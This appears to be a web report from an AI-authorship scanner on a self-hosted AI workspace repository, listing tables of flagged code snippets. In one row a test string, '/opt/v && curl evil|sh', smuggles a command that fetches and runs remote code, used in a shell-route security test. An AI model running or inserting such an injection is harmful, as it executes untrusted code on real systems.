Self-hosted AI workspace.
This report presents the forensic synthetic code analysis of pewdiepie-archdaemon/odysseus, a Python project with 82,705 GitHub stars. SynthScan v2.0 examined 402,620 lines of code across 1246 source files, recording 8295 pattern matches distributed across 22 syntactic categories. The overall adjusted score of 28.5 places this repository in the Moderate AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 8295 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | setup.py | 54 | def _prompt_admin_credentials(): | CODE |
| LOW⚡ | app.py | 604 | async def session_not_found_handler(request: Request, exc: SessionNotFoundError): | CODE |
| LOW⚡ | app.py | 608 | async def invalid_file_upload_handler(request: Request, exc: InvalidFileUploadError): | CODE |
| LOW⚡ | app.py | 612 | async def llm_service_error_handler(request: Request, exc: LLMServiceError): | CODE |
| LOW | app.py | 18 | def register_static_mime_types() -> None: | CODE |
| LOW | app.py | 1213 | async def _skill_audit_nightly_loop(): | CODE |
| LOW | core/auth.py | 192 | def _drop_reserved_loaded_users(self): | CODE |
| LOW | core/auth.py | 217 | def _migrate_legacy_admin_role(self): | CODE |
| LOW | core/auth.py | 506 | def totp_get_provisioning_uri(self, username: str, secret: str) -> str: | CODE |
| LOW | core/models.py | 18 | def set_session_manager_instance(manager: "SessionManager"): | CODE |
| LOW | core/models.py | 24 | def get_session_manager_instance() -> Optional["SessionManager"]: | CODE |
| LOW⚡ | core/platform_compat.py | 338 | def get_wsl_windows_user_profile() -> Optional[str]: | CODE |
| LOW | core/platform_compat.py | 435 | def run_wsl_windows_powershell( | CODE |
| LOW⚡ | core/database.py | 826 | def _migrate_add_document_archived_column(): | CODE |
| LOW⚡ | core/database.py | 850 | def _migrate_add_owner_column(): | CODE |
| LOW⚡ | core/database.py | 897 | def _migrate_add_hidden_models_column(): | CODE |
| LOW⚡ | core/database.py | 920 | def _migrate_add_model_endpoint_owner_column(): | CODE |
| LOW⚡ | core/database.py | 952 | def _migrate_add_provider_auth_id_column(): | CODE |
| LOW⚡ | core/database.py | 977 | def _migrate_add_model_type_column(): | CODE |
| LOW⚡ | core/database.py | 1000 | def _migrate_add_model_endpoint_refresh_columns(): | CODE |
| LOW⚡ | core/database.py | 1028 | def _migrate_add_task_run_model_column(): | CODE |
| LOW⚡ | core/database.py | 1051 | def _migrate_add_supports_tools_column(): | CODE |
| LOW⚡ | core/database.py | 1075 | def _migrate_add_cached_models_column(): | CODE |
| LOW⚡ | core/database.py | 1097 | def _migrate_add_pinned_models_column(): | CODE |
| LOW⚡ | core/database.py | 1120 | def _migrate_add_notes_sort_order(): | CODE |
| LOW⚡ | core/database.py | 1175 | def _migrate_add_folder_column(): | CODE |
| LOW⚡ | core/database.py | 1198 | def _migrate_add_token_columns(): | CODE |
| LOW⚡ | core/database.py | 1222 | def _migrate_add_owner_to_table(table_name: str, index_name: str): | CODE |
| LOW⚡ | core/database.py | 1246 | def _migrate_add_multiuser_owner_columns(): | CODE |
| LOW⚡ | core/database.py | 1281 | def _migrate_add_api_token_scopes_column(): | CODE |
| LOW⚡ | core/database.py | 1309 | def _migrate_assign_legacy_owner(): | CODE |
| LOW⚡ | core/database.py | 1443 | def _migrate_add_tidy_verdict(): | CODE |
| LOW⚡ | core/database.py | 1456 | def _migrate_add_doc_source_email_cols(): | CODE |
| LOW⚡ | core/database.py | 1572 | def _migrate_add_oauth_config(): | CODE |
| LOW⚡ | core/database.py | 1584 | def _migrate_add_disabled_tools(): | CODE |
| LOW⚡ | core/database.py | 1596 | def _migrate_add_mcp_oauth_tokens_column(): | CODE |
| LOW⚡ | core/database.py | 1654 | def _migrate_add_notifications_enabled(): | CODE |
| LOW⚡ | core/database.py | 1667 | def _migrate_add_crew_member_id(): | CODE |
| LOW⚡ | core/database.py | 2151 | def _migrate_encrypt_endpoint_keys(): | CODE |
| LOW⚡ | core/database.py | 2175 | def _migrate_encrypt_signatures(): | CODE |
| LOW⚡ | core/database.py | 2207 | def _migrate_encrypt_email_passwords(): | CODE |
| LOW⚡ | core/database.py | 2267 | def _migrate_add_calendar_origin(): | CODE |
| LOW⚡ | core/database.py | 2294 | def _migrate_add_calendar_account_id(): | CODE |
| LOW⚡ | core/database.py | 2320 | def _migrate_add_caldav_sync_columns(): | CODE |
| LOW⚡ | core/database.py | 2372 | def _migrate_add_calendar_recurrence_exdates(): | CODE |
| LOW | core/database.py | 781 | def _migrate_add_last_message_at_column(): | CODE |
| LOW | core/database.py | 1258 | def _migrate_add_gallery_caption_column(): | CODE |
| LOW | core/database.py | 1416 | def _migrate_backfill_document_owner_from_session(): | CODE |
| LOW | core/database.py | 1480 | def _migrate_add_task_automation_columns(): | CODE |
| LOW | core/database.py | 1633 | def _migrate_drop_ping_notes_tasks(): | CODE |
| LOW | core/database.py | 1684 | def _migrate_add_assistant_columns(): | CODE |
| LOW | core/database.py | 1815 | def _migrate_seed_email_account(): | CODE |
| LOW | core/database.py | 2120 | def _migrate_add_email_smtp_security(): | CODE |
| LOW | core/database.py | 2241 | def _migrate_add_calendar_is_utc(): | CODE |
| LOW | core/database.py | 2345 | def _migrate_add_calendar_metadata(): | CODE |
| LOW | core/database.py | 2481 | def update_session_last_accessed(session_id: str): | CODE |
| LOW⚡ | core/database.py | 2089 | def _scrub_legacy_chat_message_fts_media(conn) -> None: | STRING |
| LOW | core/database.py | 1553 | def _migrate_add_email_oauth_columns(): | STRING |
| LOW | core/database.py | 1977 | def _migrate_backfill_task_folders(): | STRING |
| LOW | core/database.py | 2003 | def _migrate_chat_messages_fts(): | STRING |
| 4037 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | core/auth.py | 258 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/auth.py | 260 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/auth.py | 486 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/auth.py | 488 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/auth.py | 571 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/auth.py | 573 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/platform_compat.py | 39 | # ── File permissions ──────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | core/platform_compat.py | 57 | # ── Process detach / liveness / teardown ──────────────────────────────────── | COMMENT |
| MEDIUM⚡ | core/platform_compat.py | 144 | # ── Shell / executable resolution ─────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 396 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 398 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 580 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 582 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 645 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | core/session_manager.py | 647 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 80 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 82 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 200 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 202 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 676 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | core/session_manager.py | 678 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | tests/test_redos_xml_tool_parsers.py | 45 | # ── correctness is preserved ──────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_redos_xml_tool_parsers.py | 118 | # ── pathological inputs no longer blow up ─────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 71 | # ── the central binding: the safety net ───────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 210 | # ── get_workspace tool ────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 220 | # ── no leak across calls ──────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 228 | # ── tool selection: an active workspace is the file-work signal ───────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 285 | # ── browse route is admin-gated ───────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_workspace_confine.py | 306 | # ── bind-time vetting of the workspace root ───────────────────────────── | COMMENT |
| MEDIUM | tests/test_workspace_confine.py | 52 | # ── the resolver helper ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_workspace_confine.py | 96 | # ── end-to-end via execute_tool_block (sets + resets the binding) ─────── | COMMENT |
| MEDIUM | tests/test_workspace_confine.py | 364 | # ── send-time privilege gate (no path oracle for non-admins) ──────────── | COMMENT |
| MEDIUM | tests/test_skill_index_toolset_gating.py | 15 | # ── module-load stubbing (matches other tests in this repo) ────────── | COMMENT |
| MEDIUM⚡ | tests/test_imap_leak_fixes.py | 42 | # ── email_helpers ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_imap_leak_fixes.py | 109 | # ── email_server ─────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_imap_leak_fixes.py | 234 | # ── connect-time leak: _imap_connect / _open_imap_connection (#3174) ────────── | COMMENT |
| MEDIUM⚡ | tests/test_calendar_recurrence.py | 16 | # ── _resolve_base_uid ────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_calendar_recurrence.py | 45 | # ── _expand_rrule ────────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_security_regressions.py | 117 | # ── secure-by-default deployment + integration storage ───────── | COMMENT |
| MEDIUM⚡ | tests/test_security_regressions.py | 241 | # ── provider auth error normalization ────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_security_regressions.py | 278 | # ── compose-upload path traversal block ───────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_security_regressions.py | 845 | # ── web_fetch SSRF guard (PR #111 merge gate) ─────────────────────── | COMMENT |
| MEDIUM | tests/test_security_regressions.py | 23 | # ── prompt-injection context wrapper ──────────────────────────── | COMMENT |
| MEDIUM | tests/test_security_regressions.py | 45 | # ── secret_storage ───────────────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_security_regressions.py | 203 | # ── _q IMAP mailbox quoter ───────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_security_regressions.py | 506 | # ── require_user dependency rejects anon callers ──────────────── | COMMENT |
| MEDIUM | tests/test_security_regressions.py | 1247 | # ── DNS rebinding (audit finding 8.1) ──────────────────────────────── | COMMENT |
| MEDIUM | tests/test_skill_index_prompt_injection.py | 29 | # ── module-load stubbing ───────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_email_oauth.py | 36 | # ── OAuth state signing ────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_email_oauth.py | 486 | # ── Password-account regression ─────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_email_oauth.py | 136 | # ── XOAUTH2 SASL framing ───────────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_email_oauth.py | 150 | # ── Helpers for in-memory DB fixtures ──────────────────────────── | COMMENT |
| MEDIUM | tests/test_email_oauth.py | 190 | # ── Token encryption at rest ───────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_email_oauth.py | 258 | # ── Real OAuth callback route ───────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_email_oauth.py | 410 | # ── Token refresh scenarios ─────────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_tool_path_confinement.py | 27 | # ── Unit tests on _is_sensitive_path ────────────────────────────────── | COMMENT |
| MEDIUM | tests/test_tool_path_confinement.py | 81 | # ── Unit tests on _resolve_tool_path ───────────────────────────────── | COMMENT |
| MEDIUM⚡ | tests/test_tool_path_confinement.py | 220 | # ── Integration: dispatch-level tests ──────────────────────────────── | COMMENT |
| MEDIUM | tests/test_skills_manager_owner_isolation.py | 33 | # ── module-load stubbing (matches other tests in this repo) ────────── | COMMENT |
| MEDIUM⚡ | tests/test_upload_handler_atomicity.py | 78 | # --------------------------------------------------------------------------- | COMMENT |
| 642 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | setup.py | 220 | except Exception: | CODE |
| LOW | setup.py | 267 | except Exception as e: | CODE |
| LOW | setup.py | 277 | except Exception as e: | CODE |
| MEDIUM | app.py | 208 | def _stop_background(): | CODE |
| MEDIUM | app.py | 635 | def _stop_background(): | CODE |
| MEDIUM | app.py | 1044 | def _startup_mcp_connections(): | CODE |
| LOW⚡ | app.py | 1144 | except Exception as e: | CODE |
| LOW⚡ | app.py | 1151 | except Exception as e: | CODE |
| LOW⚡ | app.py | 1153 | except Exception as e: | CODE |
| LOW⚡ | app.py | 1260 | except Exception: | CODE |
| LOW⚡ | app.py | 1265 | except Exception as e: | CODE |
| LOW⚡ | app.py | 1270 | except Exception as e: | CODE |
| LOW | app.py | 112 | except Exception as e: | CODE |
| LOW | app.py | 211 | except Exception: | CODE |
| LOW | app.py | 230 | except Exception: | CODE |
| LOW | app.py | 390 | except Exception as _e: | CODE |
| LOW | app.py | 444 | except Exception as _e: | CODE |
| LOW | app.py | 454 | except Exception: | CODE |
| LOW | app.py | 522 | except Exception as _e: | CODE |
| LOW | app.py | 638 | except Exception: | CODE |
| LOW | app.py | 940 | except Exception: | CODE |
| LOW | app.py | 959 | except Exception: | CODE |
| LOW | app.py | 982 | except Exception: | CODE |
| LOW | app.py | 1027 | except Exception as e: | CODE |
| LOW | app.py | 1040 | except Exception as _e: | CODE |
| LOW | app.py | 1071 | except Exception as e: | CODE |
| LOW | app.py | 1088 | except Exception as e: | CODE |
| LOW | app.py | 1090 | except Exception as e: | CODE |
| LOW | app.py | 1107 | except Exception as e: | CODE |
| LOW | app.py | 1122 | except Exception as e: | CODE |
| LOW | app.py | 1179 | except Exception as e: | CODE |
| LOW | app.py | 1202 | except Exception as e: | CODE |
| LOW | app.py | 1219 | except Exception: | CODE |
| LOW | app.py | 1233 | except Exception as e: | CODE |
| LOW | launcher.py | 62 | except Exception: | CODE |
| LOW | launcher.py | 108 | except Exception: | CODE |
| LOW | launcher.py | 121 | except Exception: | CODE |
| MEDIUM | launcher.py | 93 | def setup_system_tray(url): | CODE |
| LOW | core/auth.py | 139 | except Exception as e: | CODE |
| LOW | core/auth.py | 155 | except Exception as e: | CODE |
| LOW | core/auth.py | 165 | except Exception as e: | CODE |
| LOW | core/auth.py | 321 | except Exception: | CODE |
| MEDIUM | core/auth.py | 121 | def _load(self): | CODE |
| LOW⚡ | core/platform_compat.py | 130 | except Exception: | CODE |
| LOW⚡ | core/platform_compat.py | 137 | except Exception: | CODE |
| LOW⚡ | core/platform_compat.py | 140 | except Exception: | CODE |
| LOW | core/platform_compat.py | 306 | except Exception: | CODE |
| LOW⚡ | core/platform_compat.py | 334 | except Exception: | CODE |
| LOW⚡ | core/platform_compat.py | 346 | except Exception: | CODE |
| LOW | core/platform_compat.py | 357 | except Exception: | CODE |
| LOW⚡ | core/database.py | 818 | except Exception as e: | CODE |
| LOW⚡ | core/database.py | 823 | except Exception: | CODE |
| LOW⚡ | core/database.py | 841 | except Exception as e: | CODE |
| LOW⚡ | core/database.py | 846 | except Exception: | CODE |
| LOW⚡ | core/database.py | 889 | except Exception as e: | CODE |
| LOW⚡ | core/database.py | 894 | except Exception: | CODE |
| LOW⚡ | core/database.py | 912 | except Exception as e: | CODE |
| LOW⚡ | core/database.py | 917 | except Exception: | CODE |
| LOW⚡ | core/database.py | 943 | except Exception as e: | CODE |
| LOW⚡ | core/database.py | 948 | except Exception: | CODE |
| 1704 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | core/database.py | 461 | # is the historical default. When non-null, the model picker only shows | COMMENT |
| HIGH⚡ | tests/test_document_ai_preview_refresh_js.py | 44 | refresh = "markdownPreviewWasVisible && _refreshMarkdownPreviewIfVisible(docId, newContent)" | CODE |
| HIGH | tests/test_preset_local_storage_js.py | 21 | }}[key] ?? null; | CODE |
| HIGH | tests/test_local_endpoint_api_key_js.py | 59 | class FormData {{ append(k, v) {{ appended.push([k, String(v)]); }} }} | CODE |
| HIGH | tests/test_local_endpoint_api_key_js.py | 62 | if (!(id in FIELDS)) return null; | CODE |
| HIGH | tests/test_local_endpoint_api_key_js.py | 75 | let _recentlyAddedEpId = null; | CODE |
| HIGH⚡ | tests/test_calendar_utils_dates_js.py | 29 | addNull: _addDays(null, 1), | STRING |
| HIGH⚡ | tests/test_calendar_utils_dates_js.py | 31 | shiftNull: _shiftDT(null, 1), | STRING |
| HIGH⚡ | tests/test_calendar_utils_dates_js.py | 33 | localNull: _localDateOf(null), | STRING |
| HIGH | tests/test_llm_core_usage_finish_delta.py | 5 | {"delta": {"role": "assistant", "content": null}, "finish_reason": "stop"}). | STRING |
| HIGH | tests/test_llm_core_usage_finish_delta.py | 107 | # Some providers emit {"choices": [null]} as a heartbeat/keepalive chunk. | COMMENT |
| HIGH⚡ | tests/test_llm_core_usage_finish_delta.py | 119 | # Chunk with both choices:[null] and usage:null — neither field should panic. | COMMENT |
| HIGH | tests/test_markdown_rendering_js.py | 26 | globalThis.window = { location: { origin: 'http://localhost' }, katex: null }; | CODE |
| HIGH | tests/test_markdown_rendering_js.py | 32 | const display = !!(opts && opts.displayMode); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 56 | const a = computeProgressSignal('1.81G', null, '73', 'Downloading 73%| 1.81G/2.49G [eta 0:05:11]'); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 57 | const b = computeProgressSignal('1.81G', null, '73', 'Downloading 73%| 1.81G/2.49G [eta 0:09:42] -'); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 59 | const c = computeProgressSignal('2.10G', null, '84', 'Downloading 84%| 2.10G/2.49G'); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 74 | const s1 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... compiling csrc/attention.cu'); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 75 | const s2 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... compiling csrc/cache_kernels.cu' | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 76 | const hung1 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... (no output)'); | CODE |
| HIGH⚡ | tests/test_cookbook_progress_signal_js.py | 77 | const hung2 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... (no output)'); | CODE |
| HIGH⚡ | tests/test_slash_setup_provider_aliases.py | 19 | assert(zenFromCommand && zenFromCommand.url === 'https://opencode.ai/zen/v1', 'opencode zen command alias failed'); | CODE |
| HIGH⚡ | tests/test_slash_setup_provider_aliases.py | 21 | assert(goFromCommand && goFromCommand.url === 'https://opencode.ai/zen/go/v1', 'opencode-go command alias failed'); | CODE |
| HIGH⚡ | tests/test_slash_setup_provider_aliases.py | 23 | assert(zenCredential && zenCredential.provider.name === 'OpenCode Zen', 'opencode-zen credential provider failed'); | CODE |
| HIGH⚡ | tests/test_slash_setup_provider_aliases.py | 26 | assert(goCredential && goCredential.provider.name === 'OpenCode Go', 'opencode go credential provider failed'); | CODE |
| HIGH | tests/test_resend_message_nondestructive.py | 27 | assert "const replaceFromHere = Boolean(opts && opts.replaceFromHere);" in body | CODE |
| HIGH | tests/test_compare_js.py | 138 | bad.push({name, type: typeof val, head: String(val).slice(0, 40)}); | CODE |
| HIGH | tests/test_model_discovery_status.py | 29 | '"mixed_ips":{"Online":true,"HostName":"ok","OS":"linux","TailscaleIPs":[null,123,"100.1.1.3"]}' | CODE |
| HIGH⚡ | tests/test_esc_menu_stack_js.py | 57 | registerMenuDismiss(() => order.push('A')); | CODE |
| HIGH⚡ | tests/test_esc_menu_stack_js.py | 58 | registerMenuDismiss(() => order.push('B')); | CODE |
| HIGH⚡ | tests/test_esc_menu_stack_js.py | 87 | const unregA = registerMenuDismiss(() => order.push('A')); | CODE |
| HIGH⚡ | tests/test_esc_menu_stack_js.py | 88 | registerMenuDismiss(() => order.push('B')); | CODE |
| HIGH | tests/test_esc_menu_stack_js.py | 112 | const unreg = registerMenuDismiss(null); | CODE |
| HIGH⚡ | tests/test_snap_other_layers_nonarray_js.py | 44 | computeSnap(null, 10, 20, {{ zoom: 1, canvasW: 800, canvasH: 600 }}), | CODE |
| HIGH⚡ | tests/test_snap_other_layers_nonarray_js.py | 46 | computeSnap({{ id: 'L1', canvas: {{ width: 100, height: 50 }} }}, 12, 22, null) | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 27 | assert "const selected = hostOrTask === _envState.remoteHost ? _selectedServer() : null;" in COOKBOOK | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 28 | assert "const srv = selected || _serverByVal(hostOrTask);" in COOKBOOK | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 34 | assert "_serverByVal?.(_envState.remoteServerKey || _envState.remoteHost || '')" in DOWNLOAD | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 35 | assert "_serverByVal?.(zombieCandidate.remoteServerKey || zombieCandidate.payload?.remote_server_key || _zh)" in DOW | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 36 | assert "_serverByVal(_envState.remoteServerKey || remoteHost)" in HWFIT | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 41 | assert "_serverByVal?.(_es.remoteServerKey || _es.remoteHost || '')" in SERVE | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 42 | assert "port: host ? (server?.port || _getPort(host) || '') : ''" in SERVE | CODE |
| HIGH⚡ | tests/test_cookbook_same_host_server_profiles_js.py | 59 | assert "_serverByVal(_envState.remoteServerKey || _host)" in RUNNING | CODE |
| HIGH | tests/test_model_sort_js.py | 31 | objectsNull: sortModelObjects(null), | STRING |
| HIGH | tests/test_copy_message_strips_thinking_js.py | 43 | globalThis.window = { location: { origin: 'http://localhost' }, katex: null }; | CODE |
| HIGH⚡ | tests/test_providers_mixtral_logo_js.py | 22 | f"console.log(JSON.stringify(providerLogo({json.dumps(model)}) !== null));" | CODE |
| HIGH | tests/test_tile_manager_snap_zones_js.py | 29 | getElementById() {{ return null; }}, | CODE |
| HIGH | tests/test_tile_manager_snap_zones_js.py | 30 | querySelector() {{ return null; }}, | CODE |
| HIGH | tests/test_tile_manager_snap_zones_js.py | 55 | }} : null; | CODE |
| HIGH⚡ | tests/test_shell_routes.py | 508 | "/opt/v && curl evil|sh", | CODE |
| HIGH⚡ | tests/test_cookbook_helpers.py | 363 | assert 'ODYSSEUS_VLLM_BIN="$(command -v vllm 2>/dev/null || true)"' in script | CODE |
| HIGH⚡ | tests/test_cookbook_helpers.py | 467 | assert '_odys_py3="$(command -v python3 2>/dev/null || true)"' in script | CODE |
| HIGH⚡ | tests/test_cookbook_helpers.py | 472 | assert 'command -v python >/dev/null 2>&1 || python() { python3 "$@"; }' in script | CODE |
| HIGH⚡ | tests/test_cookbook_helpers.py | 271 | The old `{ venv_check || user }` shape from #903 masked the failure: | STRING |
| HIGH⚡ | tests/test_cookbook_helpers.py | 274 | `{ ! venv_check && user }` shape propagates the failure correctly. | STRING |
| HIGH | tests/test_provider_device_flow_js.py | 36 | calls.push(url); | CODE |
| HIGH | tests/test_provider_device_flow_js.py | 55 | openWindow: (url) => opened.push(url), | CODE |
| HIGH | tests/test_provider_device_flow_js.py | 87 | openWindow: (url) => opened.push(url), | CODE |
| HIGH | tests/test_llm_core_streaming.py | 159 | # call has arguments: null; the second (same delta) must still survive. | COMMENT |
| HIGH⚡ | tests/test_markdown_table_row_js.py | 55 | splitTableRow(null), | CODE |
| 169 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | core/auth.py | 13 | CODE | |
| LOW | core/models.py | 12 | CODE | |
| LOW | core/platform_compat.py | 14 | CODE | |
| LOW | core/constants.py | 11 | CODE | |
| LOW | core/constants.py | 12 | CODE | |
| LOW | core/session_manager.py | 23 | CODE | |
| LOW | core/session_manager.py | 23 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 12 | CODE | |
| LOW | core/__init__.py | 20 | CODE | |
| LOW | core/__init__.py | 21 | CODE | |
| LOW | core/__init__.py | 22 | CODE | |
| LOW | core/__init__.py | 23 | CODE | |
| LOW | core/__init__.py | 23 | CODE | |
| LOW | core/__init__.py | 23 | CODE | |
| LOW | core/__init__.py | 23 | CODE | |
| LOW | core/__init__.py | 29 | CODE | |
| LOW | core/__init__.py | 29 | CODE | |
| LOW | core/__init__.py | 30 | CODE | |
| LOW | core/atomic_io.py | 14 | CODE | |
| LOW | tests/test_redos_xml_tool_parsers.py | 26 | CODE | |
| LOW | tests/test_redos_xml_tool_parsers.py | 28 | CODE | |
| LOW | tests/test_redos_xml_tool_parsers.py | 29 | CODE | |
| LOW | tests/test_notes_fail_closed_auth.py | 27 | CODE | |
| LOW | tests/test_plain_ui_control_open_panel.py | 1 | CODE | |
| LOW | tests/test_imap_leak_fixes.py | 17 | CODE | |
| LOW | tests/test_session_list_owner_scope.py | 12 | CODE | |
| LOW | tests/test_session_list_owner_scope.py | 33 | CODE | |
| LOW | tests/test_calendar_recurrence.py | 8 | CODE | |
| LOW | tests/test_security_regressions.py | 1315 | CODE | |
| LOW | tests/test_run_order_report.py | 9 | CODE | |
| LOW | tests/test_email_polly_imap_leak.py | 41 | CODE | |
| LOW | tests/test_skill_index_prompt_injection.py | 20 | CODE | |
| LOW | tests/test_skill_index_prompt_injection.py | 26 | CODE | |
| LOW | tests/test_scheduler_restart_doublefire.py | 15 | CODE | |
| LOW | tests/test_scheduler_restart_doublefire.py | 16 | CODE | |
| LOW | tests/test_memory_routes_shim.py | 15 | CODE | |
| LOW | tests/test_imap_move_uid.py | 9 | CODE | |
| LOW | tests/test_imap_move_uid.py | 10 | CODE | |
| LOW | tests/conftest.py | 62 | CODE | |
| LOW | tests/conftest.py | 26 | CODE | |
| LOW | tests/conftest.py | 27 | CODE | |
| LOW | tests/conftest.py | 28 | CODE | |
| LOW | tests/conftest.py | 29 | CODE | |
| LOW | tests/test_skills_manager_owner_isolation.py | 24 | CODE | |
| LOW | tests/test_skills_manager_owner_isolation.py | 43 | CODE | |
| LOW | tests/run_focus.py | 20 | CODE | |
| LOW | tests/test_service_health_email.py | 2 | CODE | |
| LOW | tests/test_carddav_password_encryption.py | 2 | CODE | |
| LOW | tests/test_carddav_password_encryption.py | 4 | CODE | |
| LOW | tests/test_carddav_password_encryption.py | 7 | CODE | |
| LOW | tests/test_upload_handler_atomicity.py | 26 | CODE | |
| LOW | tests/test_upload_handler_atomicity.py | 35 | CODE | |
| LOW | tests/test_upload_handler_atomicity.py | 166 | CODE | |
| LOW | tests/test_search_cache_invalidation.py | 15 | CODE | |
| LOW | tests/test_kimi_code_user_agent.py | 5 | CODE | |
| 447 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | setup.py | 239 | CODE | |
| LOW | app.py | 500 | CODE | |
| LOW | app.py | 1008 | CODE | |
| LOW | app.py | 357 | CODE | |
| LOW | core/platform_compat.py | 298 | CODE | |
| LOW | core/platform_compat.py | 338 | CODE | |
